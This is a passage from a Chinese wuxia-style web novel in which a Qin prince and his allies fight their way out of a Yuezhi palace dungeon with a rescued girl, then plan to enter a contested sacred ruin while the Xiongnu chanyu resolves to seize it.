地牢入口处,那名指玄境的守卫头领猛地抬起头,他清晰地感受到了从地牢深处传来的能量波动和打斗声。
“不好!地牢有变!”
他脸色剧变,厉声怒吼。
“所有人!跟我进去!格杀勿论!”
厚重的玄铁大门被轰然推开,数十名精锐守卫如同潮水般,在那头领的带领下,杀气腾腾地冲入地牢通道。
然而,他们刚冲入不到十丈。
“杀——!”
侧后方阴影处,田言清冷的声音如同冰珠落玉盘!
早已蓄势待发的十余名魏武卒精锐,如同沉默的杀戮机器,骤然暴起!!
重剑、战斧带着凄厉的破空声,从守卫们毫无防备的后侧和侧翼狠狠**而来。
第401章 突围!
噗嗤!
啊!
惨叫声瞬间打破了地牢入口的肃杀!
魏武卒的突然袭击,打了守卫一个措手不及,当场便有十余人被砍翻在地。
那名指玄境头领又惊又怒,挥刀格开一柄劈来的重剑,怒吼道。
“有埋伏!结阵!挡住他们!”
地牢入口处,顿时陷入了惨烈的混战。
兵刃碰撞声、怒吼声、惨叫声响成一片。
而几乎在入口大战爆发的同时。
距离地牢最近的一处供奉殿中,一名正在打坐的枯瘦老者猛地睁开了双眼,眼中精光爆射!!!
他身形一晃,已如鬼魅般冲出殿外,目光锐利地投向西北角地牢方向,脸色阴沉如水。
“何方宵小,敢擅闯王庭禁地?!”
话音未落,他身形已化作一道流光,携带着滔天气势,直扑地牢而去。
就在那名枯瘦老者供奉身形如电,即将扑至地牢区域的刹那!
“咻!咻!咻!”
数道极其细微,却带着刺骨杀意的破空声,自两侧宫殿的屋檐阴影下,假山缝隙中,骤然响起。
淬毒的**箭,闪着幽蓝寒光的飞针,以及几道无声无息却快如鬼魅的黑色身影,如同早已编织好的死亡之网,瞬间笼罩向那老者!
正是隐匿已久的暗河精锐,在赵弋苍的指挥下,悍然出手阻击!
“哼!藏头露尾的鼠辈!”
那枯瘦老者虽惊不乱。
冷哼一声,周身猛地爆发出浑厚的土黄色罡气,如同一个实质的气罩将他护在其中。
**箭和飞针撞在罡气罩上,发出“叮叮当当”的脆响,纷纷被弹开,未能伤其分毫。
然而,那几道扑来的黑色身影却极为刁钻。
他们并不与老者硬拼,而是如同附骨之疽,利用诡异的身法和合击之术,专门攻击老者罡气运转的薄弱之处和身法移动的必经之路。
刀光剑影如同毒蛇吐信,死死将其缠住!
“给老夫滚开!”
老者怒喝,双掌拍出,掌风雄浑,如同山岳倾塌,将两名试图近身的暗河**震得口喷鲜血倒飞出去!
但立刻又有新的**补上位置,攻击连绵不绝,逼得他不得不放缓速度,应对这如影随形的袭杀!
一时间,地牢入口附近的这片区域,杀声四起!
魏武卒与地牢守卫在狭窄的通道口惨烈绞杀,暗河精锐则与那名天象境的供奉在稍远处的空地上激烈缠斗。
兵刃碰撞声、能量爆鸣声、怒吼与惨叫声混杂在一起,彻底打破了王宫夜的宁静。
如此巨大的动静,如同在平静的湖面投下了巨石,涟漪迅速扩散。
“怎么回事?!”
“地牢方向!有敌人!”
“快!吹响警报!所有禁军,向地牢集结!”
更远处的禁军营地被惊动了。
急促而凄厉的号角声瞬间响彻整个王宫上空。
无数火把如同繁星般亮起,沉重的脚步声和甲胄碰撞声从四面八方传来,如同涌动的铁流,朝着西北角地牢区域疯狂汇聚。
眼看大队禁军就要形成合围之势。
“唳——!”
一声清越悠长,仿佛来自九霄云外的鸟鸣,陡然在王宫最高的那座瞭望塔顶端响起。
下一刻,无数洁白的羽毛如同雪花般洋洋洒洒地飘落,在火光的映照下,美得诡异而圣洁!
伴随着飘落的羽毛,一道白色的身影如同没有重量般,在宫殿的飞檐翘角之间极速闪烁、腾挪、
速度快得只在视线上留下一道道残影。
是白凤。
他并未直接攻击,而是利用那匪夷所思的速度和身法,在禁军队伍的上空和前方不断掠过!
偶尔射出的几片羽毛,精准地射落火把,或者划过军官的头盔,发出刺耳的摩擦声。
极大地扰乱了禁军集结和前进的节奏,引得一阵骚乱。
“在上面!抓住那个白衣服的!”
“弓箭手!放箭!”
无数箭矢如同飞蝗般射向空中那道白色的影子。
然而白凤的身形如同鬼魅,总是在箭矢及体前的一刹那优雅地转折、滑开。
片羽不沾身。
反而将禁军弓箭手的阵型引得一片混乱!
与此同时。
“桀桀桀——!”
一阵令人毛骨悚然的怪笑声,从另一侧的宫殿阴影中传来。
隐蝠展开他那巨大的肉翼,如同一只真正的吸血蝙蝠,贴着地面和墙壁低空疾飞。
他并不与禁军正面交锋,而是专门寻找那些落单的,或者处于队伍边缘的士兵,如同阴影中的死神。
每一次俯冲,利爪都会带走一条性命,或者用那尖锐的音波攻击,震得士兵们头晕目眩,阵型大乱!
“怪物!有怪物!”
“小心侧面!”
白凤在高处制造混乱,吸引远程火力。
隐蝠在低处阴影中袭扰,制造恐慌,切割阵型。
两人的配合虽然谈不上精妙,却极其有效。
硬生生地将数支试图赶往地牢增援的禁军部队拖住、搅乱,为地牢深处的赢子夜等人争取着宝贵的时间。
王宫,彻底沸腾了!
以地牢为中心,战斗分成了数个激烈的战团,并不断向外蔓延。
暗河阻击供奉,魏武卒血战守卫,白凤、隐蝠牵制援军。
而这一切的掩护之下,地牢最深处。
暗紫色的巫蛊屏障在赤练王蛇的剧毒侵蚀与赢子夜强行破开通道的冲击下,终于发出一声不堪重负的哀鸣!
如同破碎的琉璃般寸寸瓦解,化作漫天飘散的暗色光点!
连同那只被赢子夜以紫雷重创,奄奄一息的毒王虫一起,彻底失去了效用。
赢子夜收回萦绕着雷光,微微有些发麻的右手。
刚才与那毒王虫的硬撼,虽凭借紫雷的霸道属性将其压制,但那阴寒歹毒的蛊毒依旧对他造成了一些影响,经脉中隐隐传来刺痛感。
赤练则毫发无伤,只是气息略喘。
她腋下紧紧夹着昏迷不醒的姬如千泷,妖艳的脸上此刻只有一片冰冷的专注。
“走!”
赢子夜低喝一声,没有任何迟疑,率先冲出已然洞开的囚室。
赤练紧随其后。
两人沿着来时的通道急速返回!
越靠近出口,外面传来的兵刃交击声、怒吼声、惨叫声便越发清晰震耳。
浓烈的血腥味扑面而来!
当赢子夜和赤练冲出地牢内层通道,来到相对开阔的入口区域时,映入眼帘的便是一副极其惨烈的景象!
田言率领的十余名魏武卒精锐,此刻已然结成了一个缩小却无比坚固的圆阵,背靠着地牢入口处的石壁,正与数倍于己的敌人进行着殊死搏杀!!
地上已经躺倒了二十多具尸体。
有大月氏守卫的,也有两名魏武卒的。
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鲜血几乎将地面染红,汇聚成涓涓细流,流入地牢深处的黑暗。
魏武卒们人人带伤,甲胄上布满了刀劈斧凿的痕迹。
甚至有人断了一臂,依旧用剩下的手臂挥舞着战斧疯狂**。
他们沉默如山,眼神中只有嗜血的疯狂与对命令的绝对执行,用身体和生命构筑着这道最后的防线!
田言站在圆阵的核心稍后位置,她并未直接参与最前线的肉搏。
但她的存在,却是这个圆阵的灵魂!
她那清冷的眼眸如同最精密的仪器,不断扫视着整个战局。
每当有敌人试图从侧翼突破,或者守卫中那名指玄境头领找到魏武卒阵型的薄弱点发起猛攻时,她总能提前预判。
清冷的声音如同冰珠砸落,发出最简洁有效的指令。
“左三,退半步,戟刺!”
“右翼,举盾,顶住!”
“小心那名头领,他要攻东南角!”
在她的指挥下,魏武卒的圆阵如同一个布满尖刺的磐石!
任凭守卫如何疯狂冲击,阵型虽不断被压缩,却始终未被彻底击溃,死死扼守着地牢出口,没有放一个敌人冲入地牢深处。
那名指玄境守卫头领久攻不下,气得哇哇大叫,手中弯刀舞动如风!
刀罡凌厉,却总被魏武卒默契的配合与田言精准的预判化解!
每一次重劈都被数面重盾合力挡住。
每一次刁钻的突刺都被提前封死路线,憋屈得他几乎吐血。
就在这僵持的血战之中,赢子夜和赤练的身影,如同两道撕裂黑暗的闪电,猛地从地牢通道内冲出!
赢子夜目光一扫,瞬间看清了场中局势。
他没有任何废话,甚至没有去看那名指玄境头领,手中定秦剑骤然出鞘!!
没有华丽的剑招,只有一道凝练到极致,快得超越视觉捕捉的紫色雷光。
如同瞬移般,直接掠过了两名正嘶吼着扑向圆阵侧翼的守卫百夫长!
那两名百夫长身体猛地一僵,前冲的动作戛然而止,喉咙处同时出现一道焦黑的细线。
随即鲜血狂喷,难以置信地倒地身亡。
这一剑,如同死神的宣告,瞬间吸引了所有交战者的目光!
“殿下!”
田言看到赢子夜和赤练,尤其是赤练腋下夹着的那个小女孩,清冷的眼眸中闪过一丝如释重负,但随即又被更深的凝重取代。
她知道,最危险的撤离阶段,现在才开始。
那名指玄境头领也看到了赢子夜,更看到了被挟持的姬如千泷,瞳孔骤缩,发出惊怒的咆哮!
“拦住他们!不能让他们带走那个女孩!”
赢子夜根本不理他的咆哮。
剑锋斜指地面,雷光在剑刃上跳跃。
他声音冰冷,带着不容置疑的决断,清晰地传入每一个魏武卒耳中。
“田言,撤!所有人,跟紧我,杀出去!”
“诺!”
田言没有任何犹豫,立刻下令。
“圆阵变锋矢!紧随殿下,突围!”
残存的魏武卒发出低沉的怒吼,阵型瞬间变换。
从固守的圆阵化作一支锐利的箭头,以赢子夜为锋尖,田言居中调度,赤练挟持着高月紧随赢子夜身后,朝着来时方向的宫墙豁口,发起了决死的冲锋!!
“挡住他们!”
指玄境头领目眦欲裂,挥刀亲自冲了上来,试图拦住赢子夜。
第402章 默契的配合!
“滚!”
赢子夜眼神一寒,定秦剑带着撕裂一切的煌煌雷威,毫无花哨地直劈而下!
剑未至,那霸道的剑意和毁灭性的雷压已经让那头领呼吸一窒!
“铛——!”
震耳欲聋的巨响!
指玄境头领手中的弯刀竟被这一剑硬生生劈得脱手飞出!
虎口崩裂,鲜血淋漓!
他整个人更是被那恐怖的力量震得踉跄**十余步,撞翻了好几名身后的守卫,才勉强站稳。
脸上充满了骇然与难以置信。
赢子夜看都不看他一眼,剑光开路,紫雷纵横。
所过之处,试图阻拦的守卫如同割麦子般倒下。
田言指挥着魏武卒紧随其后,将侧翼和后方扑来的敌人死死挡住。
赤练则如同最危险的毒蛇,游弋在赢子夜身侧。
偶尔出手,必是致命的毒雾或蛇吻,清理着漏网之鱼。
这支小小的队伍,在赢子夜这无坚不摧的锋刃带领下,硬生生在越来越多的守卫包围中,撕开了一条血路,朝着预定的撤离点,悍然冲杀而去!!
身后,只留下满地狼藉的尸体和那名指玄境头领绝望而愤怒的咆哮。
与此同时,高空之中。
白凤如同御风的精灵,在箭矢的缝隙与宫殿的飞檐间极速穿梭。
他那双锐利的蓝色眼眸,不仅留意着下方试图瞄准他的弓箭手,更如同鹰隼般俯瞰着整个混乱的王宫战场。
下方,赢子夜等人化作的黑色“箭矢”正在血路中艰难前行。
而四面八方,更多的火把和甲胄的反光正如潮水般涌来,试图将这支小队彻底淹没!
“东侧偏殿后方,守卫稀疏,巡逻刚过!”
白凤清冷的声音,借助着内力与风势,精准地传入下方正在冲杀的赢子夜耳中,如同在迷雾中点亮了一盏指引方向的明灯。
赢子夜闻言,手中定秦剑雷光爆闪,一剑将前方三名结阵的守卫连人带盾劈飞,毫不犹豫地低喝!
“转向东!”
整个突围队伍立刻在他的带领下,如同灵活的游鱼,猛地折向东方,避开了正面一支刚刚赶到的禁军百人队,冲入了那片相对空旷的区域。
然而,就在他们刚刚转向,旧力已尽,新力未生,阵型出现一丝不可避免的凝滞的刹那!
“嗡!”
一股阴冷刺骨的杀意,如同潜伏已久的毒蛇,骤然从侧后方一座宫殿的阴影中爆发!
一道模糊的身影快如鬼魅,手持一柄淬炼着幽蓝光芒的短刺。
目标并非赢子夜,而是直指被赤练夹在腋下,毫无防备的姬如千泷。
此人气息隐匿功夫极为了得!
竟一直潜伏到如此近的距离!
抓住了这转瞬即逝的机会,意图一击毁掉赢子夜等人救援的目标。
田言虽有所预感,但对方速度太快,且时机抓得极刁,她出声预警已然不及。
赤练大部分心神都在警惕前方和侧翼,也没料到攻击来自如此近的侧后死角。
眼看那淬毒短刺就要触及高月的后心。
“桀——!!”
一声尖锐到足以撕裂耳膜的怪啸,如同地狱传来的丧钟,猛地在那偷袭者头顶炸响!
伴随着怪啸,一道巨大的黑影如同凭空出现,带着浓郁的腥风,以超越常人理解的速度俯冲而下!
正是隐蝠!
他竟不知何时,如同真正的蝙蝠般,倒挂潜伏在了那座宫殿的檐角阴影之下,等待着猎物的出现。
那偷袭者被这突如其来的怪啸震得心神一荡,动作不由得慢了半分。
就是这生死一瞬的迟缓。
“噗嗤!”
隐蝠那如同精钢打造的利爪,已然如同热刀切油般,轻易地撕裂了偷袭者的护体罡气,精准无比地从其后脑贯入,面门穿出!
那偷袭者身体猛地一僵。
手中的短刺“当啷”落地。
眼中充满了极致的惊骇与茫然,似乎至死都不明白自己是如何被发现的!
隐蝠一击得手,毫不停留,利爪抽出,带起一蓬红白之物。
巨大的肉翼一振,身形再次融入黑暗,只留下那具迅速软倒的尸体,和空气中弥漫开的浓重血腥气。
这一切发生在电光火石之间!
从偷袭爆发到隐蝠反杀,不过一两次呼吸的功夫!
赢子夜甚至没有回头,只是感知到那股阴冷杀意的骤然出现又骤然消失,他便知道隐蝠已经解决了麻烦。
他脚步没有丝毫停顿。
雷光再起,剑锋所指,前方两名试图阻拦的守卫瞬间被电成焦炭!
“走!”
他声音依旧冷静。
带着队伍沿着白凤指引的东侧路线,急速脱离这片刚刚经历险情的区域,将身后更多的喊杀声与追兵,再次甩开一段距离。
高空之上。
白凤看到危机解除,队伍继续按照他指引的方向撤离,嘴角微微勾起一抹不易察觉的弧度。
身形再次灵动地闪烁起来,继续为下方这支肩负着重要使命的小队,寻找着通往生路的最薄弱缝隙。
是时。
王宫东南区域。
一支约百人的禁军队伍正紧张地封锁着通往宫外的几条要道。
带队的一名千夫长神色凝重,不断呵斥着手下扩大警戒范围,严防死守。
突然,一阵急促的脚步声传来,只见副统领带着几名亲兵,一脸“焦急”地狂奔而来。
“哈桑千夫长!”
这位副
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统领,正是墨麒麟!
他喘着粗气,声音带着十足的惊怒与紧迫,一把抓住那名千夫长的胳膊。
“不好了!刚得到密报,那些该死的潜入者,根本没有往宫外跑,他们绕了个大圈子,现在正藏在西北角的废弃织造坊里!”
“看样子是想等风声过去再伺机脱身!”
“什么?废弃织造坊?”
那名叫哈桑的千夫长一愣,那里距离此地颇远,而且确实是个容易被人忽略的角落。
他有些迟疑地看了一眼自己负责的防线。
“可是副统领,我这里……”
“还可是什么!”
墨麒麟猛地打断他,脸上露出“恨铁不成钢”的严厉神色。
“王庭震怒!若是让那些贼子跑了,你我都担待不起!”
“我这里刚从大萨满亲随那里得到的绝密消息,岂能有假?!”
“你立刻带你的人,火速赶往织造坊,将其团团围住,一只苍蝇也不能放出去!”
“我这就去调集其他队伍支援你,务必在他们反应过来之前,将他们一网打尽!”
墨麒麟的表演天衣无缝,那焦急、愤怒、以及透露出的“高层密信”背景,瞬间让哈桑千夫长深信不疑。
一想到若是真让潜入者从自己防区溜走的下场,他不由得打了个寒颤!
“是!副统领!末将遵命!”
哈桑不再犹豫,猛地转身,对着麾下士兵吼道。
“所有人!跟我来!目标西北角废弃织造坊!快!”
近百名精锐禁军立刻放弃了原有防线。
如同被驱赶的羊群。
在哈桑的带领下,朝着完全相反的西北方向狂奔而去。
脚步声隆隆,火把的光芒迅速远去。
看着这支队伍被成功调离,墨麒麟脸上那副焦急的表情瞬间收敛,恢复了毫无波动的平静。
他对着空无一人的身后微微点头。
随即,身形一晃,如同融入夜色般,悄无声息地朝着真正的接应点——
东南宫墙一处早已勘测好的,守卫相对薄弱的破损豁口处潜行而去。
他需要先一步赶到那里。
确保退路畅通,并接应赢子夜等人。
而几乎就在哈桑的部队被调往西北方向的同时。
赢子夜率领的突围小队,正沿着白凤从高空指引,由墨麒麟暗中清理并标记出的最隐秘路径,如同利刃般精准地撕开一道道薄弱的防守,朝着东南方向,也就是墨麒麟为他们预设的真正撤离点,疾速冲刺!
一方被虚假情报引向错误的方向。
一方沿着精心策划的路线直奔目标。
这场在王宫夜幕下的生死追逐,因墨麒麟这关键的一步暗棋,局势悄然倾斜!
第403章 脱逃!
此刻!
田言正指挥着残存的魏武卒断后。
赤练紧紧夹着昏迷的高月。
赢子夜则一马当先,紫雷开道,所向披靡。
然而,他们闹出的动静实在太大。
尤其是之前与毒王虫、守卫的连番激战。
以及暗河、隐蝠狙杀供奉的动静。
如同在平静的湖面投入巨石,涟漪早已扩散至整个王宫核心区域!
就在他们距离那处破损宫墙豁口已不足百丈,甚至能隐约看到墙外荒芜的夜色时。
“轰!”
“轰!”
数道强横无匹的气息,如同狼烟般骤然从不同的供奉殿中冲天而起!
紧接着,四道身影如同鬼魅般破空而来!
速度快得惊人。
瞬间便拦在了赢子夜等人与宫墙豁口之间!
这四人,气息迥异,却无不散发着令人心悸的威压!
一名手持骷髅念珠的枯槁老僧,眼窝深陷,口中念念有词,周身环绕着诡异的黑色梵文。
一名身材魁梧如铁塔的巨汉,赤裸的上身布满狰狞图腾,手持一柄门板大小的开山钺。
一名身段妖娆,面覆轻纱的女子,十指纤长,指尖萦绕着粉红色的氤氲雾气。
还有一名背负长剑,面容冷峻的中年方士,剑气凛然,已然锁定了赢子夜!
正是被惊动的宫中供奉强者!
其中那老僧和巨汉,气息尤为恐怖,已然达到了天象境!!
另外两人也是指玄境巅峰。
前有强敌拦路,后方追兵的脚步声和呐喊声也越来越近。
形势瞬间危急到了极点。
“桀骜的小辈,擅闯王庭,掳掠要犯,还想走?”
那枯槁老僧声音沙哑,如同砂纸摩擦,带着一股侵蚀心神的诡异力量。
那巨汉更是发出一声咆哮,如同蛮荒凶兽,震得人耳膜生疼。
赢子夜眼神冰冷,知道此刻再无任何取巧可能,唯有一战!!
他正要上前,准备独自拦下这四名强者,为田言等人争取最后的机会。
“你的对手,是我。”
一个冰冷、孤傲,却带着毋庸置疑力量的声音,如同来自九幽,突兀地在场中响起!
下一刻。
一道玄色身影如同撕裂空间般,骤然出现在那四名供奉与赢子夜小队之间。
鲨齿剑那独特的带着锯齿状寒光的剑锋,在夜色中反射着凄冷的光芒!
卫庄,到了。
他甚至没有回头看赢子夜一眼,灰色的眸子如同万载寒冰,直接锁定了那名气息最强的枯槁老僧和魁梧巨汉,语气平淡却蕴含着极致的自信与霸道。
“这两个,归我。”
话音未落,他身影已动。
没有多余的废话,鲨齿剑划出一道凄艳绝伦的弧光,如同瞬移般,同时笼罩向老僧与巨汉!
一剑出,杀气滔天!
仿佛要将整个空间都撕裂开来!
那老僧脸色微变,骷髅念珠急速转动,黑色梵文凝聚成一面盾牌挡在身前!
那巨汉则怒吼一声,开山钺带着崩山裂石之力,悍然迎上。
“铛——!!!”
震耳欲聋的巨响炸开!
狂暴的气浪以三人为中心猛地扩散,将地面的石板都掀飞起来!
卫庄以一敌二,竟丝毫不落下风!
鲨齿剑如同狂龙出海,剑势霸道凌厉,每一剑都带着毁灭一切的意志,竟将老僧的诡异梵文和巨汉的蛮横力量同时压制。
赢子夜见状,心中一定,知道这是卫庄为他们创造出的宝贵时机。
他目光瞬间转向另外两名指玄境巅峰的供奉——
那名妖娆女子和冷峻方士。
“田言,带人走!”
赢子夜低喝一声,身形已如紫色雷霆般射出!
定秦剑雷光爆涌,直接找上了那名剑气凛然的方士。
他知道,必须尽快解决掉这些拦路者,否则一旦被彻底缠住,后果不堪设想!
那方士见赢子夜攻来,冷哼一声,背后长剑自动出鞘,化作一道青色长虹,带着锐利无比的剑意,直刺赢子夜眉心。
剑未至,那森然的剑气已然刺得皮肤生疼!
“雷狱·镇!”
赢子夜不闪不避,左手五指张开,向前虚按。
刹那间,以他为中心,方圆数丈的空间仿佛凝固!
无数细密的紫色电蛇凭空出现,交织成一张巨大的雷霆电网,将那青色剑虹连同方士本人一起笼罩其中!
剑虹闯入雷狱,速度骤减!
发出滋滋的异响,仿佛被无数电蛇撕咬麻痹!
与此同时。
那名妖娆女子十指连弹,粉红色的氤氲雾气如同活物般,悄无声息地罩向正在组织撤离的田言和魏武卒。
显然是想干扰他们,甚至将其控制。
然而,一直警惕着侧翼的赤练岂会让她如愿?
赤练娇笑一声,腕间赤练王蛇猛地窜出,张口喷出一股更加浓郁,色泽深紫的毒雾!
与那粉红雾气撞在一起,发出“嗤嗤”的腐蚀声,相
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互抵消、湮灭!
“你要往哪儿去?”
赤练媚眼如丝,却带着冰冷的杀意。
身形晃动间,已如一道红影缠上了那名妖娆女子。
毒雾、蛇影、以及刁钻狠辣的近身攻击瞬间将对方卷入激战。
趁此机会,田言毫不恋战,清冷的声音穿透战场!
“魏武卒!锋矢阵,突围!”
残存的魏武卒爆发出最后的力气,跟随着田言,护着赤练和高月,如同决堤的洪流,朝着近在咫尺的宫墙豁口,发起了最后的冲锋!!
而赢子夜与那方士在雷狱中激烈交锋,雷光与剑虹不断碰撞、炸裂!
那方士剑法精妙,修为深厚,但在赢子夜那狂暴霸道的紫雷面前,却处处受制!
雷狱的麻痹与毁灭特性让他苦不堪言,只能勉强支撑。
另一边,卫庄与那老僧、巨汉的战斗更是惊天动地!
鲨齿剑每一次挥动都带着撕裂一切的威势,那老僧的诡异梵文不断被剑光斩碎,巨汉的开山钺也被震得嗡嗡作响。
两人联手,竟被卫庄一人一剑,逼得节节后退,只有招架之功,毫无还手之力!
卫庄的强横,在此刻展现得淋漓尽致!
“噗嗤!”
终于,赢子夜抓住那方士一个破绽,定秦剑如同惊雷乍现,穿透了层层剑幕,直接刺穿了那方士的肩胛!
雷劲瞬间爆发,将那方士半边身子都电得焦黑,惨叫着倒飞出去,失去了战斗力!
几乎在同一时间。
卫庄的鲨齿剑找到一个绝妙的角度,如同毒蛇般绕过巨汉的开山钺,精准地点在了那老僧匆忙凝聚的梵文护盾最薄弱之处!
“咔嚓!”
护盾应声而碎。
鲨齿剑长驱直入,虽然那老僧极限闪避,依旧被剑锋在肋下划开一道深可见骨的伤口,黑色的血液汩汩涌出。
那巨汉怒吼着来救,却被卫庄反手一剑震得踉跄后退。
四名供奉,一重伤,一轻伤,两人被彻底压制!
而田言等人,已然冲出了宫墙豁口,身影消失在墙外的黑暗之中。
赢子夜与卫庄对视一眼,无需任何交流。
“走!”
两人几乎同时收招,身形化作两道流光,一紫一玄,不再理会那几名惊怒交加,却已无力阻拦的供奉。
如同鬼魅般掠出宫墙,融入了王都之外无边的夜色。
只留下身后一片狼藉,火光冲天的王宫。
以及那些供奉们充满不甘与骇然的怒吼!
第404章 要不要赌一把!
是时!
远离大月氏王都百余里外的一处荒废石窟内,火光摇曳,映照着众人劫后余生却依旧紧绷的脸庞。
姬如千泷被安置在角落的干草堆上,依旧昏迷未醒。
田言则清点着魏武卒的伤亡,气氛沉凝。
赢子夜盘膝坐在火堆旁,调息着体内因连番激战而略有躁动的雷元,同时取出了一枚通讯符箓。
他神识沉入。
片刻后,符箓微光闪烁,传来了远在圣地附近监视的暗河成员的禀报。
“主上,乌孙陀罗与大萨满、十二圣士已进入‘葬月谷’深处的地宫入口。”
“赵高及其麾下罗网高手,包括掩日、真刚、魍魉等人,并未与大队同行,而是在地宫外围隐秘处部署了大量人手后,由赵高亲自带领数名顶尖**,暗中尾随,也潜入了地宫之中!”
赢子夜缓缓睁开眼睛,眸中闪过一丝意料之中却又带着兴奋的光芒!
他收起符箓,目光扫过洞内众人,最后落在抱臂靠坐在对面石壁下,闭目养神的卫庄身上。
“卫庄先生。”
赢子夜开口,声音带着一丝玩味与挑战。
“看来,赵高这条老狗,是打定主意要做那最后的黄雀了。”
“葬月谷地宫……大月氏世代守护的圣地,头曼觊觎的遗迹,如今可是热闹得很啊。”
卫庄甚至连眼睛都没睁开,只是那冰冷孤傲的声音在石窟中响起,带着一种洞悉一切的漠然。
“螳螂捕蝉,黄雀在后。”
“却不知,黄雀之后,是否还有猎人。”
赢子夜闻言,嘴角勾起一抹弧度。
“不知卫庄阁下可有何打算?”
卫庄终于缓缓睁开那双灰色的眸子,如同寒冰利刃般扫向赢子夜,语气平淡却带着逆流沙独有的自信与目的性。
“逆流沙隐匿西域多日,所图,自然不止是帮你传递消息,救人那么简单。”
“这趟浑水,本就该去搅一搅。”
“彩!”
赢子夜抚掌轻笑,眼中锐光毕露。
“既然如此,不如我们……也去赌一把?”
“看看这圣地之中,究竟藏着何等惊天动地的秘密,又能落到谁的手中!”
他随即收敛笑容,看向一旁的田言,语气转为郑重。
“田言,此地不宜久留。”
“你立刻挑选得力人手,暗中护送姬如千泷返回我们控制的石堡城,务必保证她的安全。”
“同时,传我命令给蒙犽!”
他顿了顿,声音带着不容置疑的决断。
“告诉他,不惜一切代价,必须将匈奴主力通往草原的所有退路,给本公子彻底堵死!”
“我要让头曼和他的十几万大军,彻底变成困在西域笼子里的野兽!”
“另外……”
赢子夜的目光变得深邃,说出了一条让田言都微微怔住的命令。
“撤出所有楼兰、龟兹境内正在占领的城池、据点,将军队收缩至我们已稳固控制的大月氏东部边境防线之内!”
“速度要快,不得有误!”
田言清冷的脸上露出一丝不解。
“殿下,楼兰诸城乃我军浴血打下,此时撤出,岂非前功尽弃?”
“恐助长西域诸国气焰……”
赢子夜摆了摆手,打断了她,眼神中闪烁着睿智与远见。
“楼兰、龟兹等小国,墙头草而已,不足为虑。”
“此刻将他们逼得太紧,反而可能将他们推向匈奴或者抱团对抗我们。”
“主动撤出,一是向西域诸国示好,减轻他们的敌意,避免多线树敌。”
“二来,也是集中兵力,确保我们能牢牢锁死匈奴退路,并应对圣地可能出现的任何变数!”
“这是本公子的命令,让蒙犽和李信,务必执行,不得质疑!”
田言看着赢子夜那笃定而深邃的眼神,瞬间明白了其中的战略考量,不再多言,郑重点头。
“我明白了,定将命令和姬如千泷安全送达。”
“事不宜迟,你们即刻出发。”
赢子夜最后叮嘱道。
田言不再耽搁,立刻开始安排撤离事宜。
很快,她便带着数名精锐魏武卒,以及依旧昏迷的姬如千泷,悄然离开了石窟,融入夜色,向着东方疾行而去!
石窟内,只剩下赢子夜和一部分暗河精锐,卫庄、赤练、以及白凤、隐蝠等逆流沙核心。
赢子夜看向卫庄,眼中战意升腾。
“卫庄先生,我们也该动身了。”
“去会一会那葬月谷地宫,看看赵高和乌孙陀罗,究竟能玩出什么花样!”
卫庄缓缓站起,鲨齿剑发出一声低沉的嗡鸣,灰眸中寒光流转。
“正合我意!”
……
赤石隘。
这座刚刚被匈奴铁蹄踏破的大月氏西北雄关,此刻已彻底沦为匈奴大军的营垒。
关墙之上,狼旗猎猎。
空气中弥漫着未散的血腥与牲口气息。
单于头曼,身披黑狼大氅,如同一尊铁铸的魔神,矗立在关墙最高处,眺望着东南方向。
那是“葬月谷”圣地所在!
他粗犷的脸上,没有丝毫攻占要隘的喜悦,只有一种如同苍狼盯上猎物的冰冷与专注。
几名心腹万夫长和部落首领**在他身后,脸上却带着难以掩饰的焦虑。
一名资格最老的万夫长忍不住上前,抚胸行礼,声音带着急切!
“伟大的单于!刚刚接到急报,秦军蒙犽所部,正在疯狂进攻我们后方的‘风啸口’和‘黄沙渡’!”
“那是我们退回草原最重要的两条通道!”
“还有李信的部队,也在向我们逼近!”
“我们的退路正在被快速切断,危在旦夕啊!”
他抬起头,眼中充满了不解与担忧。
“单于,赵高先生不是已经前往圣地了吗?”
“以他的手段,取得遗迹宝物后,定然会献给单于您。”
“我们为何不趁现在秦军立足未稳,集中兵力,先打通退路,回援王庭,稳固根本?”
“那圣地遗迹,让赵高去取便是,何必您亲自率领最精锐的儿郎们冒险前往?”
“万一……”
头曼缓缓转过身,那双深陷的如同草原鹰隼般的眼
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眸扫过面前这些面带忧色的部下。
嘴角勾起一抹极其冷酷,充满讥讽的弧度。
“赵高?”
他声音低沉,如同砂石摩擦,带着毫不掩饰的轻蔑。
“一条被秦国驱逐,只能躲在阴沟里摇尾乞怜的阉狗!”
“你们以为,他会真心将到手的宝物献给本单于?”
他猛地提高音量,语气中充满了对人性,尤其是对赵高其人的透彻洞察与不信任。
“此人反复无常,狡诈如狐!”
“他今日能背叛赢政,来日就能背叛本单于!”
“圣地之中的东西,若真如传说中那般拥有颠覆乾坤的力量,他赵高会甘心拱手让人?”
“恐怕他此刻想的,是如何利用那力量,反过来将我们和秦人一起吞掉!”
这番话如同冰水浇头,让几名将领瞬间惊醒,背后渗出冷汗!
他们只想着借助赵高的力量,却忘了此人本身就是一条致命的毒蛇。
头曼不等他们消化,继续开口,语气带着一种近乎疯狂的野心与决断。
“至于大月氏王庭……”
他冷哼一声,眼中闪过一丝狠厉。
“王庭被秦军攻打,又如何?”
“本单于带出来的,才是匈奴真正的筋骨,最锋利的獠牙!”
“只要这支力量在手,何处不能重建王庭?”
“能带走的就是命,带不走的,全弃了。”
他的目光再次投向东南方,仿佛已经穿透了重重山峦,看到了那片神秘的谷地。
“而圣地遗迹,才是真正能让我匈奴崛起,主宰天下的关键!”
“只要得到其中的力量,眼前这点损失,又算得了什么?”
最后,他看向西方,那是秦军正在构建封锁线的方向,脸上露出一抹狰狞而自信的笑容。
“秦军想封锁我们的退路?想将我们困死在西域?”
“好啊!那就让他们封!”
“他们以为断了我们的归路,就能瓮中捉鳖?”
头曼张开大手,仿佛要将整个西域握在掌心,声音带着一种狂热的笃定。
“他们错了!”
“一旦我们在西域站稳脚跟,消化了圣地的力量,整合了大月氏的残部!”
“届时,我们这支孤军,就不再是困兽,而是插在秦帝国腰肋的一把尖刀!”
“我们可以与北疆的部落里应外合,东西夹击,反过来将蒙犽、李信,乃至整个北疆的秦军主力,一口吞掉!”
他猛地一挥手,斩钉截铁,不容任何质疑地下达了最终命令!
“传令全军!”
“放弃所有不必要的辎重,只带十日口粮!”
“不惜一切代价,必须在赵高得手之前,或者在他得手之后,将遗迹宝物,给本单于夺过来!”
“谁敢延误军机,动摇军心,立斩不赦!”
森然的杀气伴随着头曼的命令弥漫开来!
那几名将领被单于这庞大的野心,冷酷的决断以及对局势的另类解读所震撼。
再也无人敢提出异议。
齐齐抚胸躬身,嘶声吼道。
“谨遵单于之命!”
第405章 为了大月氏,本王愿付出一切!
